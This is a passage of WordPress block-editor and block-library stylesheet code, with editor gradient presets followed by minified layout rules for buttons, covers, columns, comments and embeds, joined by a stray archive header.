:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .editor-styles-wrapper .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .editor-styles-wrapper .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .editor-styles-wrapper .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .editor-styles-wrapper .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .editor-styles-wrapper .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

:where(.editor-styles-wrapper) .has-regular-font-size{
  font-size:16px;
}

:where(.editor-styles-wrapper) .has-larger-font-size{
  font-size:42px;
}
:where(.editor-styles-wrapper) iframe:not([frameborder]){
  border:0;
}PK1Xd[��h�y�y� dist/block-library/style.min.cssnu�[���@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:initial;background-image:none}.wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter,.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label{display:block;width:100%}.wp-block-code{box-sizing:border-box}.wp-block-code code{
  /*!rtl:begin:ignore*/direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap
  /*!rtl:end:ignore*/}.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:right}.wp-block-comment-date{box-sizing:border-box}.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.wp-block-comment-author-name,.wp-block-comment-content,.wp-block-comment-edit-link,.wp-block-comment-reply-link{box-sizing:border-box}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row;gap:.5em}.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{margin-bottom:.5em}.wp-block-form-input__label:has(input[type=checkbox]){flex-direction:row;width:fit-content}.wp-block-form-input__label:has(input[type=checkbox]) .wp-block-form-input__label-content{margin:0}.wp-block-form-input__label:has(.wp-block-form-input__label-content+input[type=checkbox]){flex-direction:row-reverse}.wp-block-form-input__label-content{width:fit-content}.wp-block-form-input__input{font-size:1em;margin-bottom:.5em;padding:0 